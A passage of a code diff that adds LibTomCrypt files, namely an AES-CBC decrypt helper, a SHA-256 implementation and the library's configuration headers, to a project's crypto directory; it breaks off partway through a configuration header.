size_t left = data_len >= 16 ? 16 : data_len;
ret = pixie_cbc_decrypt(data, tmp, left, &ctx);
if(ret != CRYPT_OK) return -1;
memcpy(data, tmp, left);
data += left;
data_len -= left;
}
rijndael_done(&ctx.key);
return 0;
}

10
src/crypto/tc/aes_cbc.h Normal file
View File

@ -0,0 +1,10 @@
#ifndef AES_CBC_H
#define AES_CBC_H
int aes_128_cbc_decrypt(
const unsigned char *key,
const unsigned char *iv,
unsigned char *data,
size_t data_len);
#endif

1030
src/crypto/tc/aes_tab.c Normal file

File diff suppressed because it is too large Load Diff

204
src/crypto/tc/sha256.c Normal file
View File

@ -0,0 +1,204 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#include "tomcrypt.h"
/* Various logical functions */
#define Ch(x,y,z) (z ^ (x & (y ^ z)))
#define Maj(x,y,z) (((x | y) & z) | (x & y))
#define S(x, n) RORc((x),(n))
#define R(x, n) (((x)&0xFFFFFFFFUL)>>(n))
#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22))
#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25))
#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3))
#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10))
static int sha256_compress(hash_state * md, unsigned char *buf)
{
ulong32 S[8], W[64], t0, t1;
int i;
/* copy state into S */
for (i = 0; i < 8; i++) {
S[i] = md->sha256.state[i];
}
/* copy the state into 512-bits into W[0..15] */
for (i = 0; i < 16; i++) {
LOAD32H(W[i], buf + (4*i));
}
/* fill W[16..63] */
for (i = 16; i < 64; i++) {
W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16];
}
/* Compress */
#define RND(a,b,c,d,e,f,g,h,i,ki) \
t0 = h + Sigma1(e) + Ch(e, f, g) + ki + W[i]; \
t1 = Sigma0(a) + Maj(a, b, c); \
d += t0; \
h = t0 + t1;
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],0,0x428a2f98);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],1,0x71374491);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],2,0xb5c0fbcf);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],3,0xe9b5dba5);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],4,0x3956c25b);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],5,0x59f111f1);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],6,0x923f82a4);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],7,0xab1c5ed5);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],8,0xd807aa98);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],9,0x12835b01);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],10,0x243185be);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],11,0x550c7dc3);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],12,0x72be5d74);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],13,0x80deb1fe);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],14,0x9bdc06a7);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],15,0xc19bf174);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],16,0xe49b69c1);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],17,0xefbe4786);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],18,0x0fc19dc6);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],19,0x240ca1cc);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],20,0x2de92c6f);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],21,0x4a7484aa);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],22,0x5cb0a9dc);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],23,0x76f988da);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],24,0x983e5152);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],25,0xa831c66d);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],26,0xb00327c8);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],27,0xbf597fc7);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],28,0xc6e00bf3);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],29,0xd5a79147);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],30,0x06ca6351);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],31,0x14292967);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],32,0x27b70a85);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],33,0x2e1b2138);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],34,0x4d2c6dfc);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],35,0x53380d13);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],36,0x650a7354);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],37,0x766a0abb);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],38,0x81c2c92e);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],39,0x92722c85);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],40,0xa2bfe8a1);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],41,0xa81a664b);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],42,0xc24b8b70);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],43,0xc76c51a3);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],44,0xd192e819);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],45,0xd6990624);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],46,0xf40e3585);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],47,0x106aa070);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],48,0x19a4c116);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],49,0x1e376c08);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],50,0x2748774c);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],51,0x34b0bcb5);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],52,0x391c0cb3);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],53,0x4ed8aa4a);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],54,0x5b9cca4f);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],55,0x682e6ff3);
RND(S[0],S[1],S[2],S[3],S[4],S[5],S[6],S[7],56,0x748f82ee);
RND(S[7],S[0],S[1],S[2],S[3],S[4],S[5],S[6],57,0x78a5636f);
RND(S[6],S[7],S[0],S[1],S[2],S[3],S[4],S[5],58,0x84c87814);
RND(S[5],S[6],S[7],S[0],S[1],S[2],S[3],S[4],59,0x8cc70208);
RND(S[4],S[5],S[6],S[7],S[0],S[1],S[2],S[3],60,0x90befffa);
RND(S[3],S[4],S[5],S[6],S[7],S[0],S[1],S[2],61,0xa4506ceb);
RND(S[2],S[3],S[4],S[5],S[6],S[7],S[0],S[1],62,0xbef9a3f7);
RND(S[1],S[2],S[3],S[4],S[5],S[6],S[7],S[0],63,0xc67178f2);
#undef RND
/* feedback */
for (i = 0; i < 8; i++) {
md->sha256.state[i] = md->sha256.state[i] + S[i];
}
return CRYPT_OK;
}
/**
Initialize the hash state
@param md The hash state you wish to initialize
@return CRYPT_OK if successful
*/
int sha256_init(hash_state * md)
{
LTC_ARGCHK(md != NULL);
md->sha256.curlen = 0;
md->sha256.length = 0;
md->sha256.state[0] = 0x6A09E667UL;
md->sha256.state[1] = 0xBB67AE85UL;
md->sha256.state[2] = 0x3C6EF372UL;
md->sha256.state[3] = 0xA54FF53AUL;
md->sha256.state[4] = 0x510E527FUL;
md->sha256.state[5] = 0x9B05688CUL;
md->sha256.state[6] = 0x1F83D9ABUL;
md->sha256.state[7] = 0x5BE0CD19UL;
return CRYPT_OK;
}
/**
Process a block of memory though the hash
@param md The hash state
@param in The data to hash
@param inlen The length of the data (octets)
@return CRYPT_OK if successful
*/
HASH_PROCESS(sha256_process, sha256_compress, sha256, 64)
/**
Terminate the hash to get the digest
@param md The hash state
@param out [out] The destination of the hash (32 bytes)
@return CRYPT_OK if successful
*/
int sha256_done(hash_state * md, unsigned char *out)
{
int i;
LTC_ARGCHK(md != NULL);
LTC_ARGCHK(out != NULL);
if (md->sha256.curlen >= sizeof(md->sha256.buf)) {
return CRYPT_INVALID_ARG;
}
/* increase the length of the message */
md->sha256.length += md->sha256.curlen * 8;
/* append the '1' bit */
md->sha256.buf[md->sha256.curlen++] = (unsigned char)0x80;
/* if the length is currently above 56 bytes we append zeros
* then compress. Then we can fall back to padding zeros and length
* encoding like normal.
*/
if (md->sha256.curlen > 56) {
while (md->sha256.curlen < 64) {
md->sha256.buf[md->sha256.curlen++] = (unsigned char)0;
}
sha256_compress(md, md->sha256.buf);
md->sha256.curlen = 0;
}
/* pad upto 56 bytes of zeroes */
while (md->sha256.curlen < 56) {
md->sha256.buf[md->sha256.curlen++] = (unsigned char)0;
}
/* store length */
STORE64H(md->sha256.length, md->sha256.buf+56);
sha256_compress(md, md->sha256.buf);
/* copy output */
for (i = 0; i < 8; i++) {
STORE32H(md->sha256.state[i], out+(4*i));
}
return CRYPT_OK;
}

103
src/crypto/tc/tomcrypt.h Normal file
View File

@ -0,0 +1,103 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#ifndef TOMCRYPT_H_
#define TOMCRYPT_H_
#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <time.h>
#include <ctype.h>
#include <limits.h>
/* use configuration data */
#include <tomcrypt_custom.h>
#ifdef __cplusplus
extern "C" {
#endif
/* version */
#define CRYPT 0x0118
#define SCRYPT "1.18.0"
/* max size of either a cipher/hash block or symmetric key [largest of the two] */
#define MAXBLOCKSIZE 144
/* descriptor table size */
#define TAB_SIZE 32
/* error codes [will be expanded in future releases] */
enum {
CRYPT_OK=0, /* Result OK */
CRYPT_ERROR, /* Generic Error */
CRYPT_NOP, /* Not a failure but no operation was performed */
CRYPT_INVALID_KEYSIZE, /* Invalid key size given */
CRYPT_INVALID_ROUNDS, /* Invalid number of rounds */
CRYPT_FAIL_TESTVECTOR, /* Algorithm failed test vectors */
CRYPT_BUFFER_OVERFLOW, /* Not enough space for output */
CRYPT_INVALID_PACKET, /* Invalid input packet given */
CRYPT_INVALID_PRNGSIZE, /* Invalid number of bits for a PRNG */
CRYPT_ERROR_READPRNG, /* Could not read enough from PRNG */
CRYPT_INVALID_CIPHER, /* Invalid cipher specified */
CRYPT_INVALID_HASH, /* Invalid hash specified */
CRYPT_INVALID_PRNG, /* Invalid PRNG specified */
CRYPT_MEM, /* Out of memory */
CRYPT_PK_TYPE_MISMATCH, /* Not equivalent types of PK keys */
CRYPT_PK_NOT_PRIVATE, /* Requires a private PK key */
CRYPT_INVALID_ARG, /* Generic invalid argument */
CRYPT_FILE_NOTFOUND, /* File Not Found */
CRYPT_PK_INVALID_TYPE, /* Invalid type of PK key */
CRYPT_OVERFLOW, /* An overflow of a value was detected/prevented */
CRYPT_UNUSED1, /* UNUSED1 */
CRYPT_INPUT_TOO_LONG, /* The input was longer than expected. */
CRYPT_PK_INVALID_SIZE, /* Invalid size input for PK parameters */
CRYPT_INVALID_PRIME_SIZE,/* Invalid size of prime requested */
CRYPT_PK_INVALID_PADDING, /* Invalid padding on input */
CRYPT_HASH_OVERFLOW /* Hash applied to too many bits */
};
#include <tomcrypt_cfg.h>
#include <tomcrypt_macros.h>
#include <tomcrypt_cipher.h>
#include <tomcrypt_hash.h>
/* #include <tomcrypt_mac.h> */
/* #include <tomcrypt_prng.h> */
/* #include <tomcrypt_pk.h> */
/* #include <tomcrypt_math.h> */
/* #include <tomcrypt_misc.h> */
#include <tomcrypt_argchk.h>
/* #include <tomcrypt_pkcs.h> */
#ifdef __cplusplus
}
#endif
#endif /* TOMCRYPT_H_ */
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */

View File

@ -0,0 +1,53 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* Defines the LTC_ARGCHK macro used within the library */
/* ARGTYPE is defined in tomcrypt_cfg.h */
#if ARGTYPE == 0
#include <signal.h>
/* this is the default LibTomCrypt macro */
#if defined(__clang__) || defined(__GNUC_MINOR__)
#define NORETURN __attribute__ ((noreturn))
#else
#define NORETURN
#endif
void crypt_argchk(const char *v, const char *s, int d) NORETURN;
#define LTC_ARGCHK(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0)
#define LTC_ARGCHKVD(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0)
#elif ARGTYPE == 1
/* fatal type of error */
#define LTC_ARGCHK(x) assert((x))
#define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
#elif ARGTYPE == 2
#define LTC_ARGCHK(x) if (!(x)) { fprintf(stderr, "\nwarning: ARGCHK failed at %s:%d\n", __FILE__, __LINE__); }
#define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
#elif ARGTYPE == 3
#define LTC_ARGCHK(x)
#define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
#elif ARGTYPE == 4
#define LTC_ARGCHK(x) if (!(x)) return CRYPT_INVALID_ARG;
#define LTC_ARGCHKVD(x) if (!(x)) return;
#endif
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */

View File

@ -0,0 +1,299 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* This is the build config file.
*
* With this you can setup what to inlcude/exclude automatically during any build. Just comment
* out the line that #define's the word for the thing you want to remove. phew!
*/
#ifndef TOMCRYPT_CFG_H
#define TOMCRYPT_CFG_H
#if defined(_WIN32) || defined(_MSC_VER)
#define LTC_CALL __cdecl
#elif !defined(LTC_CALL)
#define LTC_CALL
#endif
#ifndef LTC_EXPORT
#define LTC_EXPORT
#endif
/* certain platforms use macros for these, making the prototypes broken */
#ifndef LTC_NO_PROTOTYPES
/* you can change how memory allocation works ... */
LTC_EXPORT void * LTC_CALL XMALLOC(size_t n);
LTC_EXPORT void * LTC_CALL XREALLOC(void *p, size_t n);
LTC_EXPORT void * LTC_CALL XCALLOC(size_t n, size_t s);
LTC_EXPORT void LTC_CALL XFREE(void *p);
LTC_EXPORT void LTC_CALL XQSORT(void *base, size_t nmemb, size_t size, int(*compar)(const void *, const void *));
/* change the clock function too */
LTC_EXPORT clock_t LTC_CALL XCLOCK(void);
/* various other functions */
LTC_EXPORT void * LTC_CALL XMEMCPY(void *dest, const void *src, size_t n);
LTC_EXPORT int LTC_CALL XMEMCMP(const void *s1, const void *s2, size_t n);
LTC_EXPORT void * LTC_CALL XMEMSET(void *s, int c, size_t n);
LTC_EXPORT int LTC_CALL XSTRCMP(const char *s1, const char *s2);
#endif
/* some compilers do not like "inline" (or maybe "static inline"), namely: HP cc, IBM xlc */
#if defined(__GNUC__) || defined(__xlc__)
#define LTC_INLINE __inline__
#elif defined(_MSC_VER) || defined(__HP_cc)
#define LTC_INLINE __inline
#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
#define LTC_INLINE inline
#else
#define LTC_INLINE
#endif
/* type of argument checking, 0=default, 1=fatal and 2=error+continue, 3=nothing */
#ifndef ARGTYPE
#define ARGTYPE 3
#endif
#undef LTC_ENCRYPT
#define LTC_ENCRYPT 0
#undef LTC_DECRYPT
#define LTC_DECRYPT 1
/* Controls endianess and size of registers. Leave uncommented to get platform neutral [slower] code
*
* Note: in order to use the optimized macros your platform must support unaligned 32 and 64 bit read/writes.
* The x86 platforms allow this but some others [ARM for instance] do not. On those platforms you **MUST**
* use the portable [slower] macros.
*/
/* detect x86/i386 32bit */
#if defined(__i386__) || defined(__i386) || defined(_M_IX86)
#define ENDIAN_LITTLE
#define ENDIAN_32BITWORD
#define LTC_FAST
#endif
/* detect amd64/x64 */
#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64)
#define ENDIAN_LITTLE
#define ENDIAN_64BITWORD
#define LTC_FAST
#endif
/* detect PPC32 */
#if defined(LTC_PPC32)
#define ENDIAN_BIG
#define ENDIAN_32BITWORD
#define LTC_FAST
#endif
/* detects MIPS R5900 processors (PS2) */
#if (defined(__R5900) || defined(R5900) || defined(__R5900__)) && (defined(_mips) || defined(__mips__) || defined(mips))
#define ENDIAN_64BITWORD
#if defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__)
#define ENDIAN_BIG
#endif
#define ENDIAN_LITTLE
#endif
#endif
/* detect AIX */
#if defined(_AIX) && defined(_BIG_ENDIAN)
#define ENDIAN_BIG
#if defined(__LP64__) || defined(_ARCH_PPC64)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect HP-UX */
#if defined(__hpux) || defined(__hpux__)
#define ENDIAN_BIG
#if defined(__ia64) || defined(__ia64__) || defined(__LP64__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect Apple OS X */
#if defined(__APPLE__) && defined(__MACH__)
#if defined(__LITTLE_ENDIAN__) || defined(__x86_64__)
#define ENDIAN_LITTLE
#else
#define ENDIAN_BIG
#endif
#if defined(__LP64__) || defined(__x86_64__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect SPARC and SPARC64 */
#if defined(__sparc__) || defined(__sparc)
#define ENDIAN_BIG
#if defined(__arch64__) || defined(__sparcv9) || defined(__sparc_v9__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect IBM S390(x) */
#if defined(__s390x__) || defined(__s390__)
#define ENDIAN_BIG
#if defined(__s390x__)
#define ENDIAN_64BITWORD
#else
#define ENDIAN_32BITWORD
#endif
#endif
/* detect PPC64 */
#if defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__)
#define ENDIAN_64BITWORD
#if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
#define ENDIAN_BIG
#elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
#define ENDIAN_LITTLE
#endif
#define LTC_FAST
#endif
/* endianness fallback */
#if !defined(ENDIAN_BIG) && !defined(ENDIAN_LITTLE)
#if defined(_BYTE_ORDER) && _BYTE_ORDER == _BIG_ENDIAN || \
defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN || \
defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ || \
defined(__BIG_ENDIAN__) || \
defined(__ARMEB__) || defined(__THUMBEB__) || defined(__AARCH64EB__) || \
defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__)
#define ENDIAN_BIG
#elif defined(_BYTE_ORDER) && _BYTE_ORDER == _LITTLE_ENDIAN || \
defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN || \
defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ || \
defined(__LITTLE_ENDIAN__) || \
defined(__ARMEL__) || defined(__THUMBEL__) || defined(__AARCH64EL__) || \
defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__)
#define ENDIAN_LITTLE
#else
#error Cannot detect endianness
#endif
#endif
/* ulong64: 64-bit data type */
#ifdef _MSC_VER
#define CONST64(n) n ## ui64
#ifndef LTC_ULONG64
#define LTC_ULONG64
typedef unsigned __int64 ulong64;
#endif
#else
#define CONST64(n) n ## ULL
#ifndef LTC_ULONG64
#define LTC_ULONG64
typedef unsigned long long ulong64;
#endif
#endif
/* ulong32: "32-bit at least" data type */
#if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) || \
defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \
defined(__s390x__) || defined(__arch64__) || defined(__aarch64__) || \
defined(__sparcv9) || defined(__sparc_v9__) || defined(__sparc64__) || \
defined(__ia64) || defined(__ia64__) || defined(__itanium__) || defined(_M_IA64) || \
defined(__LP64__) || defined(_LP64) || defined(__64BIT__)
typedef unsigned ulong32;
#if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD)
#define ENDIAN_64BITWORD
#endif
#else
typedef unsigned long ulong32;
#if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD)
#define ENDIAN_32BITWORD
#endif
#endif
#if defined(ENDIAN_64BITWORD) && !defined(_MSC_VER)
typedef unsigned long long ltc_mp_digit;
#else
typedef unsigned long ltc_mp_digit;
#endif
/* No asm is a quick way to disable anything "not portable" */
#ifdef LTC_NO_ASM
#define ENDIAN_NEUTRAL
#undef ENDIAN_32BITWORD
#undef ENDIAN_64BITWORD
#undef LTC_FAST
#define LTC_NO_ROLC
#define LTC_NO_BSWAP
#endif
/* No LTC_FAST if: explicitly disabled OR non-gcc/non-clang compiler OR old gcc OR using -ansi -std=c99 */
#if defined(LTC_NO_FAST) || (__GNUC__ < 4) || defined(__STRICT_ANSI__)
#undef LTC_FAST
#endif
#ifdef LTC_FAST
#define LTC_FAST_TYPE_PTR_CAST(x) ((LTC_FAST_TYPE*)(void*)(x))
#ifdef ENDIAN_64BITWORD
typedef ulong64 __attribute__((__may_alias__)) LTC_FAST_TYPE;
#else
typedef ulong32 __attribute__((__may_alias__)) LTC_FAST_TYPE;
#endif
#endif
#if !defined(ENDIAN_NEUTRAL) && (defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) && !(defined(ENDIAN_32BITWORD) || defined(ENDIAN_64BITWORD))
#error You must specify a word size as well as endianess in tomcrypt_cfg.h
#endif
#if !(defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE))
#define ENDIAN_NEUTRAL
#endif
#if (defined(ENDIAN_32BITWORD) && defined(ENDIAN_64BITWORD))
#error Cannot be 32 and 64 bit words...
#endif
/* gcc 4.3 and up has a bswap builtin; detect it by gcc version.
* clang also supports the bswap builtin, and although clang pretends
* to be gcc (macro-wise, anyway), clang pretends to be a version
* prior to gcc 4.3, so we can't detect bswap that way. Instead,
* clang has a __has_builtin mechanism that can be used to check
* for builtins:
* http://clang.llvm.org/docs/LanguageExtensions.html#feature_check */
#ifndef __has_builtin
#define __has_builtin(x) 0
#endif
#if !defined(LTC_NO_BSWAP) && defined(__GNUC__) && \
((__GNUC__ * 100 + __GNUC_MINOR__ >= 403) || \
(__has_builtin(__builtin_bswap32) && __has_builtin(__builtin_bswap64)))
#define LTC_HAVE_BSWAP_BUILTIN
#endif
#if defined(__GNUC__) && (__GNUC__ * 100 + __GNUC_MINOR__ >= 301)
#define LTC_DEPRECATED __attribute__((deprecated))
#elif defined(_MSC_VER) && _MSC_VER >= 1500
/* supported since Visual Studio 2008 */
#define LTC_DEPRECATED __declspec(deprecated)
#else
#define LTC_DEPRECATED
#endif
/* ref: $Format:%D$ */
/* git commit: $Format:%H$ */
/* commit time: $Format:%ai$ */

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,592 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#ifndef TOMCRYPT_CUSTOM_H_
#define TOMCRYPT_CUSTOM_H_
#define LTC_RIJNDAEL
/* macros for various libc functions you can change for embedded targets */
#ifndef XMALLOC
#define XMALLOC malloc
#endif
#ifndef XREALLOC
#define XREALLOC realloc
#endif
#ifndef XCALLOC
#define XCALLOC calloc
#endif
#ifndef XFREE
#define XFREE free
#endif
#ifndef XMEMSET
#define XMEMSET memset
#endif
#ifndef XMEMCPY
#define XMEMCPY memcpy
#endif
#ifndef XMEMMOVE
#define XMEMMOVE memmove
#endif
#ifndef XMEMCMP
#define XMEMCMP memcmp
#endif
/* A memory compare function that has to run in constant time,
* c.f. mem_neq() API summary.
*/
#ifndef XMEM_NEQ
#define XMEM_NEQ mem_neq
#endif
#ifndef XSTRCMP
#define XSTRCMP strcmp
#endif
#ifndef XCLOCK
#define XCLOCK clock
#endif
#ifndef XQSORT
#define XQSORT qsort
#endif
#if ( defined(malloc) || defined(realloc) || defined(calloc) || defined(free) || \
defined(memset) || defined(memcpy) || defined(memcmp) || defined(strcmp) || \
defined(clock) || defined(qsort) ) && !defined(LTC_NO_PROTOTYPES)
#define LTC_NO_PROTOTYPES
#endif
/* shortcut to disable automatic inclusion */
#if defined LTC_NOTHING && !defined LTC_EASY
#define LTC_NO_CIPHERS
#define LTC_NO_MODES
#define LTC_NO_HASHES
#define LTC_NO_MACS
#define LTC_NO_PRNGS
#define LTC_NO_PK
#define LTC_NO_PKCS
#define LTC_NO_MISC
#endif /* LTC_NOTHING */
/* Easy button? */
#ifdef LTC_EASY
#define LTC_NO_CIPHERS
#define LTC_RIJNDAEL
#define LTC_BLOWFISH
#define LTC_DES
#define LTC_CAST5
#define LTC_NO_MODES
#define LTC_ECB_MODE
#define LTC_CBC_MODE
#define LTC_CTR_MODE
#define LTC_NO_HASHES
#define LTC_SHA1
#define LTC_SHA3
#define LTC_SHA512
#define LTC_SHA384
#define LTC_SHA256
#define LTC_SHA224
#define LTC_HASH_HELPERS
#define LTC_NO_MACS
#define LTC_HMAC
#define LTC_OMAC
#define LTC_CCM_MODE
#define LTC_NO_PRNGS
#define LTC_SPRNG
#define LTC_YARROW
#define LTC_DEVRANDOM
#define LTC_TRY_URANDOM_FIRST
#define LTC_RNG_GET_BYTES
#define LTC_RNG_MAKE_PRNG
#define LTC_NO_PK
#define LTC_MRSA
#define LTC_MECC
#define LTC_NO_MISC
#define LTC_BASE64
#endif
/* The minimal set of functionality to run the tests */
#ifdef LTC_MINIMAL
#define LTC_RIJNDAEL
#define LTC_SHA256
#define LTC_YARROW
#define LTC_CTR_MODE
#define LTC_RNG_MAKE_PRNG
#define LTC_RNG_GET_BYTES
#define LTC_DEVRANDOM
#define LTC_TRY_URANDOM_FIRST
#undef LTC_NO_FILE
#endif
/* Enable self-test test vector checking */
#ifndef LTC_NO_TEST
#define LTC_TEST
#endif
/* Enable extended self-tests */
/* #define LTC_TEST_EXT */
/* Use small code where possible */
/* #define LTC_SMALL_CODE */
/* clean the stack of functions which put private information on stack */
/* #define LTC_CLEAN_STACK */
/* disable all file related functions */
/* #define LTC_NO_FILE */
/* disable all forms of ASM */
/* #define LTC_NO_ASM */
/* disable FAST mode */
/* #define LTC_NO_FAST */
/* disable BSWAP on x86 */
/* #define LTC_NO_BSWAP */
/* ---> math provider? <--- */
#ifndef LTC_NO_MATH
/* LibTomMath */
/* #define LTM_DESC */
/* TomsFastMath */
/* #define TFM_DESC */
/* GNU Multiple Precision Arithmetic Library */
/* #define GMP_DESC */
#endif /* LTC_NO_MATH */
/* ---> Symmetric Block Ciphers <--- */
#ifndef LTC_NO_CIPHERS
#define LTC_BLOWFISH
#define LTC_RC2
#define LTC_RC5
#define LTC_RC6
#define LTC_SAFERP
#define LTC_RIJNDAEL
#define LTC_XTEA
/* _TABLES tells it to use tables during setup, _SMALL means to use the smaller scheduled key format
* (saves 4KB of ram), _ALL_TABLES enables all tables during setup */
#define LTC_TWOFISH
#ifndef LTC_NO_TABLES
#define LTC_TWOFISH_TABLES
/* #define LTC_TWOFISH_ALL_TABLES */
#else
#define LTC_TWOFISH_SMALL
#endif
/* #define LTC_TWOFISH_SMALL */
/* LTC_DES includes EDE triple-DES */
#define LTC_DES
#define LTC_CAST5
#define LTC_NOEKEON
#define LTC_SKIPJACK
#define LTC_SAFER
#define LTC_KHAZAD
#define LTC_ANUBIS
#define LTC_ANUBIS_TWEAK
#define LTC_KSEED
#define LTC_KASUMI
#define LTC_MULTI2
#define LTC_CAMELLIA
#define LTC_IDEA
#define LTC_SERPENT
/* stream ciphers */
#define LTC_CHACHA
#define LTC_SALSA20
#define LTC_SOSEMANUK
#define LTC_RABBIT
#define LTC_RC4_STREAM
#define LTC_SOBER128_STREAM
#endif /* LTC_NO_CIPHERS */
/* ---> Block Cipher Modes of Operation <--- */
#ifndef LTC_NO_MODES
#define LTC_CFB_MODE
#define LTC_OFB_MODE
#define LTC_ECB_MODE
#define LTC_CBC_MODE
#define LTC_CTR_MODE
/* F8 chaining mode */
#define LTC_F8_MODE
/* LRW mode */
#define LTC_LRW_MODE
#ifndef LTC_NO_TABLES
/* like GCM mode this will enable 16 8x128 tables [64KB] that make
* seeking very fast.
*/
